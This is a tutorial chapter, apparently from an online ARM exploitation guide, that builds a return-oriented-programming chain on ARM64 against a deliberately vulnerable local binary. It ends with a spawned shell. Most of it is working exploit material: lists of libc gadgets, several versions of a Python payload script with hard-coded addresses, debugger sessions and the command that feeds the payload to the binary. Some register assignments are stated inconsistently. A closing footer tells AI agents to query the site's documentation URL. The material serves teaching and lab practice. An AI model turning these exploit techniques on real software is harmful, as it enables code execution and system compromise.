# ROP chains on ARM64

## Introduction

So we have already seen buffer overflows in ARM64, Let's now write rop chains on ARM64.

This is similar to that of the ROP chains we did in ARM32. if you understood ROP chains in the ARM32 chapter. This would be very easy for you. if not, please revise the "Introduction to ROP chains" chapter. I will not be explaining this step by step because I have already covered that. This is exactly similar. The only change is that we have new ARM64 assembly instructions.

So let's start.

### Intro to ARM64 ROP Chains

So let's take the vulnerable binary from before (previous chapter) and compile it by removing the "-*z execstack*" flag.

(ps: I removed the system call from the source code)

*`gcc  bof.c -fno-stack-protector -o bof`*

Also, make sure ASLR is off.

{% file src="/files/J7B4K9CcOZGQeiPrrn1c" %}

Let's just execute the binary.

<figure><img src="/files/OLDL56BjpgPQDIFGY1Vk" alt=""><figcaption></figcaption></figure>

So the binary is running fine. So let's find the gadgets using ropper.

For this, I copied the "libc" library from the emulated environment to the host using bashupload just like before.

### Finding the gadgets

Now, let's fire up ropper and search for the gadgets.

<figure><img src="/files/hehJXeRQEXHk66ZimdMD" alt=""><figcaption></figcaption></figure>

Just like in the previous chapter we are trying to execute the system function with "/bin/sh" as the argument so that we get a shell.

So we need the exact gadgets that can help us.&#x20;

We need to find the gadgets that load values from the stack and copy them to certain registers. For this, we can explore **MOV, LDR, and LDP** gadgets.

After searching for the time. I found some interesting gadgets. I will list them below.

```armasm
0x000ea1d8: ldr x4, [x29, #0x58]; mov x3, x20; mov x2, x24; mov x1, x23; mov x0, x22; blr x4; 
0x000bc5c8: ldr x0, [x29, #0x70]; blr x4; 


0x00042090: mov x0, x1; ret; 
0x00034534: mov x0, x2; ret; 



0x000a2b78: mov x0, x20; blr x21; 
0x00032ce8: mov x0, x20; blr x22; 
0x0009d8e4: mov x0, x21; blr x1; 
0x000dd674: mov x0, x21; blr x19; 
0x0006d59c: mov x0, x20; blr x1; 
0x000759a8: mov x0, x20; blr x2; 
0x000a2b78: mov x0, x20; blr x21; 
0x00032ce8: mov x0, x20; blr x22; 
0x0009d8e4: mov x0, x21; blr x1; 
0x000dd674: mov x0, x21; blr x19; 
0x00073078: mov x0, x21; blr x2; 
0x000dd568: mov x0, x21; blr x20; 
0x00032cb8: mov x0, x21; blr x22; 
0x00033090: mov x0, x21; blr x23; 
0x000f0d44: mov x0, x21; blr x5; 
0x00028580: mov x0, x22; blr x1; 
0x000dcdf4: mov x0, x22; blr x2; 
0x000c4a60: mov x0, x22; blr x23; 
0x000ea0dc: mov x0, x22; blr x3; 
0x000ea1e8: mov x0, x22; blr x4; 
0x00098bc0: mov x0, x22; blr x5; 
0x000d9c10: mov x0, x22; blr x6; 
0x0006fc9c: mov x0, x23; blr x1; 
0x00097a34: mov x0, x23; blr x19; 
0x0007586c: mov x0, x23; blr x2; 
0x000c4b28: mov x0, x23; blr x22; 
0x000d7bc0: mov x0, x23; blr x6; 
0x000d7814: mov x0, x23; blr x7; 
0x0006d408: mov x0, x24; blr x1; 
0x00097784: mov x0, x24; blr x22; 
0x00044678: mov x0, x24; blr x3; 
0x0004f43c: mov x0, x24; blr x6; 
0x0004f384: mov x0, x24; blr x7; 
0x000d7018: mov x0, x24; blr x8; 
0x000641f8: mov x0, x26; blr x1; 
0x0009e430: mov x0, x26; blr x2; 
0x00032ccc: mov x0, x26; blr x22; 
0x00021044: mov x0, x26; blr x3; 
  
0x000f1ad0: mov x0, x27; blr x2; 
0x000dd1f0: mov x0, x27; blr x21; 
0x000e7110: mov x0, x27; blr x25; 
0x00065760: mov x0, x28; blr x9; 
0x0006e420: mov x0, x19; blr x1; 
0x000ec94c: mov x0, x19; blr x2; 
0x000dd568: mov x0, x21; blr x20; 
0x000209d0: mov x0, x19; blr x20; 
0x00020b14: mov x0, x19; blr x23; 
0x0004c4cc: mov x0, x19; blr x3; 
0x0002bc64: mov x0, x2; blr x1; 
0x0002bd64: mov x0, x2; blr x3; 
0x00034534: mov x0, x2; ret; 


0x000b56d4: ldp x21, x30, [sp, #0x10]; ldp x19, x20, [sp], #0x20; ret; 
0x000b61e0: ldp x23, x24, [sp, #0x20]; ldp x19, x20, [sp], #0x50; ret; 


------------------------------------------------------------------------
0x000a2b78: mov x0, x20; blr x21; 
0x000b56d4: ldp x21, x30, [sp, #0x10]; ldp x19, x20, [sp], #0x20; ret;
------------------------------------------------------------------------




0x00042090: mov x0, x1; ret; 
0x00034534: mov x0, x2; ret; 
0x0002fe30: mov x0, x3; ret; 
0x000403dc: mov x0, x4; ret; 
0x0004008c: mov x0, x5; ret; 
0x0007f020: mov x0, x6; ret; 
0x00040118: mov x0, x9; ret; 

0x0009d5fc: mov x0, sp; blr x2; 

 
0x000e59d8: ldr x5, [x29, #0x80]; ldp x0, x1, [x29, #0x90]; ldr x2, [x29, #0xa0]; blr x5; 

-------------------------------------------------------------------------------------

0x00097a34: mov x0, x23; blr x19; 
0x00027738: ldr x23, [sp, #0x30]; ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x29, x30, [sp], #0x40; ret; 


```

From this, I looked for an **LDP** gadget that can load the addresses of the system function and the "/bin/sh" string.

Then I found a very suitable **LDP** gadget.

<figure><img src="/files/AF6pO9nPbVFGO6e24eJK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/vAHRnq5Nj6pc7nR6sR11" alt=""><figcaption></figcaption></figure>

So the gadget is&#x20;

`0x000b56d4: ldp x21, x30, [sp, #0x10]; ldp x19, x20, [sp], #0x20; ret;`

So we have already discussed what this instruction does. it will load two values from the stack to the corresponding registers.

In short, if we execute the first instruction&#x20;

`ldp x21, x30, [sp, #0x10];`

&#x20;               x21 =  \[sp + 16]

&#x20;               x30 = \[sp + 16  + 8]

&#x20;               sp remains unchanged

if we execute the second instruction&#x20;

`ldp x19, x20, [sp], #0x20;`&#x20;

&#x20;                x19 = \[sp]

&#x20;                x20 = \[sp + 8]

&#x20;                sp  = sp + 0x20

And when 'ret' is encountered it will return its control back to the address at x30.

But we know according to the calling convention of ARM64, the arguments passed to a function are through registers x0 to x7.

So the first and only argument of our system function (address of the '/bin/sh' string) should be loaded into r0.for that, I looked for **'MOV**' instructions that can copy the values from the registers that we loaded using **LDP** instruction.

And after some digging, I found a useful gadget.

<figure><img src="/files/trq61nea44FNyAHyOu6B" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ziqzGaZ0jOc81o9Gzera" alt=""><figcaption></figcaption></figure>

```
0x000dd568: mov x0, x21; blr x20; 
```

As you can see here, there's no 'ret' in this instruction. but still, we can use that because the **blr instruction** is branching to the x20 register which can be controlled using our first gadget.

Always try to make use of gadgets to their maximum capability rather than adding new gadgets. This will make our ROP chain easier and cleaner.

So let me talk you through the exploit plan.

### Arranging the gadgets

Firstly let's get the address of the system function, libc library, and "/bin/sh" string.

Let's load the binary into gdb, put a breakpoint at the main, and run the program.

When the breakpoint is hit. Obtain the system address using the 'print' or '' disass' command.

<figure><img src="/files/P0iuLoeNjqmIaQRVs2Cl" alt=""><figcaption></figcaption></figure>

So the address of the system is 0x0000ffffb7ec989&#x38;**.**

Now use the vmmap command to get the base address of the libc library.

<figure><img src="/files/EVYEL9LXFacIv4yxMt2K" alt=""><figcaption></figcaption></figure>

So libc address = 0x0000ffffb7e8c000

And finally, we need to get the address of the '/bin/sh' string, we can use 'grep' for that.

`grep /bin/sh`

<figure><img src="/files/8oLgvNp56zyKg72PgAHJ" alt=""><figcaption></figcaption></figure>

Address of /bin/sh = 0xffffb7fa2ac8

Now let's think of the best way to place the addresses in our gadgets.

So in the first gadget&#x20;

`ldp x21, x30, [sp, #0x10]; ldp x19, x20, [sp], #0x20; ret;`

x21 should contain the address of the  "/bin/sh" string because it will be copied to r0 in the second gadget.

Similarly, x30 should be loaded with the address of the next gadget. So, when 'ret' is hit it will return its control back to the address in the x30.

```
mov x0, x21; blr x20; 
```

And x20 should contain the address of the system because it's the only way to call the system function in our gadgets. The **'blr'** instruction will be used to call the system function. The return of the first gadget will be used to point to the second gadget.

In short,

x21  = address(system)

x20  = address("/bin/sh")  will be moved to x0 (using the second gadget : mov x0,x21)

x30  = address(gadget\_two)

Now let's start writing our script.

`nano ropchain.py`

Firstly, let's fill up our buffer to overflow the pc.

```python
#!/usr/bin/python

import struct

junk = "A" * 24



```

Let's now add the address of the system, the"/bin/sh" string, and libc using the struct module.

We have already seen how to use the struct module in the previous ROP chain chapter.

But in this case, it's 64-bit so instead of  "\<L" we need to use "Q".

```python

import struct

junk = "A" * 24
libc = 0x0000ffffb7e8c000  #address of libc library
binsh =  struct.pack("Q",0x0000ffffb7fa2ac8)   #address of the /bin/sh string
system = struct.pack("Q",0x0000ffffb7ec9898)  #address of system function
```

Let's add our gadgets now.

```python

#!/usr/bin/python

import struct

junk = "A" * 24
libc = 0x0000ffffb7e8c000  #address of libc library
binsh =  struct.pack("Q",0x0000ffffb7fa2ac8)   #address of the /bin/sh string
system = struct.pack("Q",0x0000ffffb7ec9898)  #address of system function
gadget_one = struct.pack("Q",libc+0x000b56d4) #ldp x21, x30, [sp, #0x10]; ldp x19, x20, [sp], #0x20; ret;
gadget_two = struct.pack("Q",libc+0x000a2b78) #mov x0, x20; blr x21; 

```

Now we have to add some junk characters because in the first gadget it's loading values from \[sp + 16] and \[sp + 16 + 8].

So we need to check first So I printed out the junk and gadget\_one to add that to our exploit.&#x20;

```python
!/usr/bin/python

import struct

junk = "A" * 24
libc = 0x0000ffffb7e8c000  #address of libc library
binsh =  struct.pack("Q",0x0000ffffb7fa2ac8)   #address of the /bin/sh string
system = struct.pack("Q",0x0000ffffb7ec9898)  #address of system function
gadget_one = struct.pack("Q",libc+0x000b56d4) #ldp x21, x30, [sp, #0x10]; ldp x19, x20, [sp], #0x20; ret;
gadget_two = struct.pack("Q",libc+0x000a2b78) #mov x0, x20; blr x21; 

print(junk + gadget_one)
```

Now I used gdbserver and gef to debug this.

&#x20;I opened two tabs and ssh'ed into both tabs and created a remote session using gdbserver.

<figure><img src="/files/4KfrRUe3twWejYwaYE6O" alt=""><figcaption><p>Tab one</p></figcaption></figure>

<figure><img src="/files/bMkxknCezCZqNHG1SYEF" alt=""><figcaption><p>Tab two</p></figcaption></figure>

Now let's debug this by putting a breakpoint at the ret instruction at the end of the main function.

```
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  b *main + 32
Breakpoint 1 at 0x4006f8
gef➤  
```

<figure><img src="/files/1mWhUTIPhyGOTL8BQU1n" alt=""><figcaption></figcaption></figure>

As we can see, we need to fill the stack with junk characters to control the region with our addresses so that it can be loaded into the registers.

Let's find out how many characters we need to add to reach this region.

```armasm
0x0000fffffffff4c0│+0x0010: 0x0000000000000000
0x0000fffffffff4c8│+0x0018: 0x0000000000000000
```

So the value in 0x0000fffffffff4c0 will be loaded into x21 and the value in 0x0000fffffffff4c8 will be loaded into x30.

Let's use examine the stack using the command (x).

<figure><img src="/files/ZZ7sO5oMazbdG8BTdlSC" alt=""><figcaption></figcaption></figure>

Let's add 32 junk characters to fill these 4 blocks and add the address of the "/bin/sh" string and also add 8 junk characters to fill the register x30 for now.

At the end, we will replace the junk characters with the address of the gadget\_two in x30.

```
#!/usr/bin/python                                                                                                                                                                                                                           
                                                                                                                                                                                                                                            
import struct                                                                                                                                                                                                                               
                                                                                                                                                                                                                                            
junk = "A" * 24                                                                                                                                                                                                                             
libc = 0x0000ffffb7e8c000  #address of libc library                                                                                                                                                                                         
binsh =  struct.pack("Q",0x0000ffffb7fa2ac8)   #address of the /bin/sh string                                                                                                                                                               
system = struct.pack("Q",0x0000ffffb7ec9898)  #address of system function                                                                                                                                                                   
gadget_one = struct.pack("Q",libc+0x000b56d4) #ldp x21, x30, [sp, #0x10]; ldp x19, x20, [sp], #0x20; ret;                                                                                                                                   
gadget_two = struct.pack("Q",libc+0x000a2b78) #mov x0, x20; blr x21;                                                                                                                                                                        
junk2 = "A" * 32      
filler = "A" * 8                                                                                                                                                                                                                       
                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                            
print(junk + gadget_one + junk2 + binsh + filler)         
```

After executing the script and debugging using gdb&#x20;

<figure><img src="/files/PYFqmpWUcLNh8bZ2mOjQ" alt=""><figcaption></figcaption></figure>

As we expected we filled x21 with the address of the "/bin/sh" string and x30 with 8 'A' s.

As for the next instruction (*ldp x19, x20, \[sp], #32*). it will load values from \[sp] and \[sp + 8] into x19 and x20.

<figure><img src="/files/rLVq1ail6iDhnwx8wSvc" alt=""><figcaption></figcaption></figure>

So the values (8 A's) from 0x0000fffffffff4b0 and 0x0000fffffffff4b8 will be loaded into x19 and x20.&#x20;

&#x20;0x0000fffffffff4b0 can be filled with junk because the x19 register is not useful to us.

0x0000fffffffff4b8 should be filled with the address of the string (is loaded into the x20 register).

So if we execute this, x19 and x20 will be filled with 8 'A' s.

<figure><img src="/files/qUdKfL7vzlLDiBjTsoqj" alt=""><figcaption></figcaption></figure>

As expected, x19 and x20 are filled with "A"s.

Let's find where 0x0000fffffffff4b0 and 0x0000fffffffff4b8 are in the stack using the examine command.

<figure><img src="/files/wRQMr5hBRz3JfDgqoPla" alt=""><figcaption></figcaption></figure>

Now we found where 0x0000fffffffff4b0 and 0x0000fffffffff4b8 lie.

So let's rewrite our exploit.

Don't forget to add the address of the second gadget into x30.&#x20;

```
#!/usr/bin/python

import struct

junk = "A" * 24
libc = 0x0000ffffb7e8c000  #address of libc library
binsh =  struct.pack("Q",0x0000ffffb7fa2ac8)   #address of the /bin/sh string
system = struct.pack("Q",0x0000ffffb7ec9898)  #address of system function
gadget_one = struct.pack("Q",libc+0x000b56d4) #ldp x21, x30, [sp, #0x10]; ldp x$
gadget_two = struct.pack("Q",libc+0x000a2b78) #mov x0, x20; blr x21; 
junk2 = "A" * 24

print(junk + gadget_one + junk2 + binsh + system + gadget_two)

```

Now let's see the layout of our exploit in our stack.

<figure><img src="/files/q1rnvuMIWoJiPv17FO3Q" alt=""><figcaption></figcaption></figure>

Let's run this in gdb with the help of gdbserver.

{% embed url="<https://vimeo.com/772924648>" %}

If you are confused about finding the offset of the registers from the stack memory you can use a pattern offset generator.

<https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html>

&#x20;Let's finally run our exploit outside gdb for the first time.

If everything is properly aligned we will get a shell.

`user@ubuntu1604-aarch64:~$ (python ropchain.py ; cat ) | ./bof`

<figure><img src="/files/c837XJ089hbUP9ZLqTLZ" alt=""><figcaption></figcaption></figure>

So finally we got our beautiful shell using ROP chains.

Let me show you another rop chain that I made a while ago.

```python

#!/bin/python

junk = "A" * 24
gadget = "\x38\x37\xeb\xb7\xff\xff\x00\x00"       #FFFF B7EB 3738
junk2 = "A" * (56 - (24 + 8))
x19  = "AAAAAAAA"
x20  = "\xc8\x2a\xfa\xb7\xff\xff\x00\x00"  #0xffffb7fa2ac8                                           
x21  =  "\x98\x98\xec\xb7\xff\xff\x00\x00"      #system  # 0x0000ffffb7ec9898)
x22  = "AAAAAAAA"
x30  = "\x78\xeb\xf2\xb7\xff\xff\x00\x00" # FFFF B7F2 EB78
gadget_2 =  "\x90\x33\xf7\xb7\xff\xff\x00\x00"                          #FFFF B7F7 3390
#pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"

#print (pattern)
print( junk + gadget + junk2 + x30 + x19 + x20 + x21 + x22)

```

This is very messy but still works.

So that brings the end of our ROP Chain journey.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ad2001.gitbook.io/a-noobs-guide-to-arm-exploitation/rop-chains-on-arm64.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
